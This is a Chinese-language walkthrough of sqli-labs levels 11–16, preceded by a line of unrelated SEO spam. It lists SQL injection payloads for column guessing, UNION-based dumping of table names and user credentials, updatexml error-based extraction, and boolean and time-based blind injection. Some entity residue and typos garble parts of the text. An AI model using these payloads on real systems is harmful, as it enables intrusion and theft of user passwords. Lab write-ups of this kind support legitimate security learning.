平顶山公司网站建设,爱设计网,用wordpress案例,株洲做网站建设猜注入点
先来猜数字型 单引号字符型#xff1a; 发现注入点找到了
猜测数据库有多少个字段#xff1a; 1’ order by 4 # 密码随便输的。
这里没有使用--注释#xff0c;因为没作用#xff0c;可能是过滤掉了
继续猜。刚才没猜对 1 order by 2 # 没报错#xff0c;猜…
猜注入点
先来猜数字型 单引号字符型 发现注入点找到了
猜测数据库有多少个字段 1’ order by 4 # 密码随便输的。
这里没有使用--注释因为没作用可能是过滤掉了
继续猜。刚才没猜对 1 order by 2 # 没报错猜对了。列数有两栏 查询数据库名称
1 union select 1,databse() # 查询表名
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema security # 列名
1 union select 1,group_concat(column_name) from information_schema.columns where table_name users and table_schema security # 字段名
1union select 1,group_concat(id,0x3a,username,0x3a,password) from users # 12关
测试得出注入点为)
操作和之前一样 13关
猜测得出注入点为)
这关有点不太一样
1) union select 1,2 # 发现没结果
再来看看有没有报错信息 看来还是有错误信息的如果没有错误信息在考虑时间盲注 数据库名
1) and updatexml(1,concat(0x7e,(select database())),3)# 爆破数据表名
1) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema security)),3)# 数据字段名
1) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemasecurity)),3)# 字段值
1) and updatexml(1,concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password) from users)),3)# 第14关
猜测得出注入点 然后操作跟之前一样 第15关
测试了半天页面都没反应说明没结果返回,不能使用报错注入了
首先可以结合联合查询猜
1 union select 1#
1 union select 1,2#
在数据库后面执行的代码
SELECT username, password FROM users WHERE usernamea union select 1,2 #
猜数据库长度结合布尔盲注
因为我们观察到页面是有变化的。所以可行
a or length(database())8# 这是猜测后的结果 如果猜错了
a or length(database())8# 其他的也可以这样猜比如第一个字符
猜第一个字符是什么结合时间盲注
a union select 1,2 and if(length(database())8,sleep(3),0)# 第16关
这一关和十五关用的方法一样只不过注入点换成了 ) 。
1) union select 1,2#
